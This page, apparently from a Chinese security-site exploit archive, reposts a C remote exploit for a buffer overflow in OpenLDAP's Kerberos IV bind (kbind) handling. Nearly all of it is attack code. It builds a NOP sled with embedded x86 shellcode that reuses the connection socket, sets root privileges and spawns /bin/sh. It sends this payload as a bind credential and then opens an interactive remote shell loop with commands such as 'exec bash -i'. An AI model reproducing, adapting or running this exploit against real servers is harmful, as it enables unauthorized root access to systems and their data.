首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenLDAP <= 2.4.3 (KBIND) Remote Buffer Overflow Exploit
来源:solareclipse@phreedom.org 作者:Solar 发布时间:2006-12-18  

/*
* openldap-kbind-p00f.c - OpenLDAP kbind remote exploit
*
* Only works on servers compiled with
* --enable-kbind enable LDAPv2+ Kerberos IV bind (deprecated) [no]
*
* by Solar Eclipse <solareclipse@phreedom.org>
*
* Shoutouts to LSD for their l33t asm code and to all 0dd people
*
* Private 0dd code.
*
*/

#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <stdio.h>

extern int errno;

#define SHELLCODE_LEN (1250+2+32)
#define SHELLCODE_ADDR 0xbf5feed0

#define LDAP_AUTH_SIMPLE 0x80U
#define LDAP_AUTH_KRBV41 0x81U

#define FINDSCKPORTOFS 46

u_char shellcode[]=
/* 72 bytes findsckcode by LSD-pl */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xe7" /* movl %esp,%edi */
"\x8d\x77\x10" /* leal 0x10(%edi),%esi */
"\x89\x77\x04" /* movl %esi,0x4(%edi) */
"\x8d\x4f\x20" /* leal 0x20(%edi),%ecx */
"\x89\x4f\x08" /* movl %ecx,0x8(%edi) */
"\xb3\x10" /* movb $0x10,%bl */
"\x89\x19" /* movl %ebx,(%ecx) */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\xff" /* movb $0xff,%cl */
"\x89\x0f" /* movl %ecx,(%edi) */
"\x51" /* pushl %ecx */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x07" /* movb $0x07,%bl */
"\x89\xf9" /* movl %edi,%ecx */
"\xcd\x80" /* int $0x80 */
"\x59" /* popl %ecx */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x39\xd8" /* cmpl %ebx,%eax */
"\x75\x0a" /* jne <findsckcode+54> */
"\x66\xb8\x12\x34" /* movw $0x1234,%bx */
"\x66\x39\x46\x02" /* cmpw %bx,0x2(%esi) */
"\x74\x02" /* je <findsckcode+56> */
"\xe2\xe0" /* loop <findsckcode+24> */
"\x89\xcb" /* movl %ecx,%ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\x03" /* movb $0x03,%cl */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x3f" /* movb $0x3f,%al */
"\x49" /* decl %ecx */
"\xcd\x80" /* int $0x80 */
"\x41" /* incl %ecx */
"\xe2\xf6" /* loop <findsckcode+62> */

/* 10 byte setresuid(0,0,0); by core */
"\x31\xc9" /* xor %ecx,%ecx */
"\xf7\xe1" /* mul %ecx,%eax */
"\x51" /* push %ecx */
"\x5b" /* pop %ebx */
"\xb0\xa4" /* mov $0xa4,%al */
"\xcd\x80" /* int $0x80 */

/* 24 bytes execl("/bin/sh", "/bin/sh", 0); by LSD-pl */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;

#define COMMAND1 "echo 'a'; TERM=xterm; export TERM=xterm; exec bash -i;\n"
#define COMMAND2 "uname -a; id; w;\n"

/* mixter's code w/enhancements by core */

int sh(int sockfd) {
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;

/* Priming commands */
strcpy(snd, COMMAND1 "\n");
write(sockfd, snd, strlen(snd));

strcpy(snd, COMMAND2 "\n");
write(sockfd, snd, strlen(snd));

/* Main command loop */
for (;;) {
FD_SET(fileno(stdin), &rset);
FD_SET(sockfd, &rset);

maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
select(maxfd, &rset, NULL, NULL, NULL);

if (FD_ISSET(fileno(stdin), &rset)) {
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd)-2, stdin);
write(sockfd, snd, strlen(snd));
}

if (FD_ISSET(sockfd, &rset)) {
bzero(rcv, sizeof(rcv));

if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
printf("Good Bye!\n");
return 0;
}

if (n < 0) {
perror("read");
return 1;
}

fputs(rcv, stdout);
fflush(stdout); /* keeps output nice */
}
} /* for(;;) */
}

/* Connect to the host */
int connect_host(char* host, int port)
{
struct sockaddr_in s_in;
int sock;

s_in.sin_family = AF_INET;
s_in.sin_addr.s_addr = inet_addr(host);
s_in.sin_port = htons(port);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) {
printf("Could not create a socket\n");
exit(1);
}

if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) {
printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno));
exit(1);
}

return sock;
}

int get_local_port(int sock)
{
struct sockaddr_in s_in;
int namelen = sizeof(s_in);

if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) {
printf("Can't get local port: %s\n", strerror(errno));
exit(1);
}

return s_in.sin_port;
}

int read_data(int sock, char* buf, int len)
{
int l;
int to_read = len;

do {
if ((l = read(sock, buf, to_read)) < 0) {
printf("Error in read: %s\n", strerror(errno));
exit(1);
}
to_read -= len;
} while (to_read > 0);

return len;
}

int read_bind_result(int sock)
{
char buf[1000];

read_data(sock, buf, 2);
if (buf[0] != 0x30) {
/* openldap is 0wned :-P */
return -1;
}

read_data(sock, &buf[2], buf[1]);

if ((buf[2] != 0x02) && (buf[3] != 0x01)) { /* message id */
printf("Malformed bind result\n");
exit(1);
}

if (buf[5] != 0x61) { /* message type */
printf("Malformed bind result\n");
exit(1);
}

if (buf[6] < 7) { /* message length */
printf("Malformed bind result\n");
exit(1);
}

if ((buf[7] != 0x0a) && (buf[8] != 0x01)) { /* result code */
printf("Malformed bind result\n");
exit(1);
}

return buf[9]; /* result code */
}

int send_bind_request(int sock, char method, char* dn, char* cred)
{
int cred_len, message_len, request_len;
char krb_bind_request[2000];
char* p;

memcpy(krb_bind_request,
"\x30\x82\xff\xff" /* request length */
"\x02\x01\x01" /* message id = 1 */
"\x60" /* bind request */
"\x82\xff\xff" /* message length */
"\x02\x01\x02" /* LDAP version 3 */
"\x04", /* dn */
15);

p = &krb_bind_request[15];

if (strlen(dn) > 255) {
printf("bind_dn too long\n");
exit(1);
}

*p++ = (char)strlen(dn);
strcpy(p, dn);

p += strlen(dn);

*p++ = method; /* authentication method */
*p++ = '\x82';

cred_len = strlen(cred);

*p++ = (char) ((cred_len >> 8) & 0xff);
*p++ = (char) (cred_len & 0xff);

strcpy(p, cred);

message_len = 5 + strlen(dn) + 4 + cred_len;
krb_bind_request[9] = (char) ((message_len >> 8) & 0xff);
krb_bind_request[10] = (char) (message_len & 0xff);

request_len = 7 + message_len;
krb_bind_request[2] = (char) ((request_len >> 8) & 0xff);
krb_bind_request[3] = (char) (request_len & 0xff);

send(sock, krb_bind_request, 4+request_len, 0);
}

void build_shellcode(char* p, int len)
{
int i;

i = len - 64 - strlen(shellcode);
memset(p, 0x90, i);
strncpy(&p[i], shellcode, strlen(shellcode));

for (i = len - 64; i < len; i+= 4) {
*(int*)&p[i] = SHELLCODE_ADDR;
}
}

char res_buf[30];

char* ldap_result(int code) {
switch (code) {
case 0x00: return "LDAP_SUCCESS (0x00)";
case 0x01: return "LDAP_OPERATIONS_ERROR (0x01)";
case 0x02: return "LDAP_PROTOCOL_ERROR (0x02)";
case 0x07: return "LDAP_AUTH_METHOD_NOT_SUPPORTED (0x07)\nMost likely cause: the OpenLDAP server was not compiled with --enable-kbind.";
case 0x08: return "LDAP_STRONG_AUTH_REQUIRED (0x08)";
case 0x0e: return "LDAP_SASL_BIND_IN_PROGRESS (0x0e)";
case 0x22: return "LDAP_INVALID_DN_SYNTAX (0x22)\nCheck your bind_dn.";
case 0x30: return "LDAP_INAPPROPRIATE_AUTH (0x30)";
case 0x31: return "LDAP_INVALID_CREDENTIALS (0x31)\nThe bind_dn must exist in the LDAP directory.";
case 0x32: return "LDAP_INSUFFICIENT_ACCESS (0x32)";
case 0x33: return "LDAP_BUSY (0x33)";
case 0x34: return "LDAP_UNAVAILABLE (0x34)";
case 0x35: return "LDAP_UNWILLING_TO_PERFORM (0x35)";
case 0x50: return "LDAP_OTHER (0x50)";
case 0x51: return "LDAP_SERVER_DOWN (0x51)";
case 0x54: return "LDAP_DECODING_ERROR (0x54)";
default:
sprintf(res_buf, "%x", code);
return res_buf;
}
}

/* run, code, run */
int main(int argc, char* argv[])
{
char shellcode_buf[SHELLCODE_LEN+1];
int port, sock, res;
char* dn;
char* p;

printf(": openldap-kbind-p00f.c - OpenLDAP kbind remote exploit\n");
printf("\n");
printf(": Only works on servers compiled with\n");
printf(" --enable-kbind enable LDAPv2+ Kerberos IV bind (deprecated) [no]\n");
printf("\n");
printf(": by Solar Eclipse <solareclipse@phreedom.org>\n\n");

if (argc < 3) {
printf(": Usage: %s hostname bind_dn\n", argv[0]);
printf(" The bind_dn must exist in the LDAP directory.\n");
exit(1);
}

dn = argv[2];

port = 389; /*atoi(argv[2]);*/
sock = connect_host(argv[1], port);

/*
send_bind_request(sock, LDAP_AUTH_SIMPLE, dn, "secret");
res = read_bind_result(sock);
printf("LDAP_AUTH_SIMPLE bind request returned %s\n", ldap_result(res));
*/

/* send_bind_request(sock, LDAP_AUTH_KRBV41, dn, "secret");
res = read_bind_result(sock);
printf("LDAP_AUTH_KRBV41 bind request returned %s\n", ldap_result(res));
*/
port = get_local_port(sock);

shellcode[FINDSCKPORTOFS] = (char) (port & 0xff);
shellcode[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);

build_shellcode(shellcode_buf, SHELLCODE_LEN);
shellcode_buf[SHELLCODE_LEN] = '\0';

printf("Sending shellcode\n");
send_bind_request(sock, LDAP_AUTH_KRBV41, dn, shellcode_buf);

sleep(2);

/* Priming commands */
write(sock, "echo 'a';\n", 10);

printf("Reading bind result\n");
res = read_bind_result(sock);
if (res > 0)
printf("LDAP_AUTH_KRBV41 bind request returned %s\n", ldap_result(res));
else {
printf("Spawning shell...\n");
sh(sock);
}

close(sock);

return 0;



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Kerio MailServer 6.2.2 preauth
·Sambar FTP Server 6.4 (SIZE) R
·yaplap <= 0.6.1b (ldap.php)
·Windows Media Player 9/10 (MID
·MS Internet Explorer 7 (DLL-lo
·GNU InetUtils ftpd 1.4.2 (ld.s
·ProFTPD <= 1.3.0a (mod_ctrl
·extreme-fusion <= 4.02 Remo
·Crob FTP Server 3.6.1 build 26
·Star FTP Server 1.10 (RETR) Re
·mxBB Module newssuite 1.5 Rem
·VerliAdmin <= 0.3 (index.ph
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved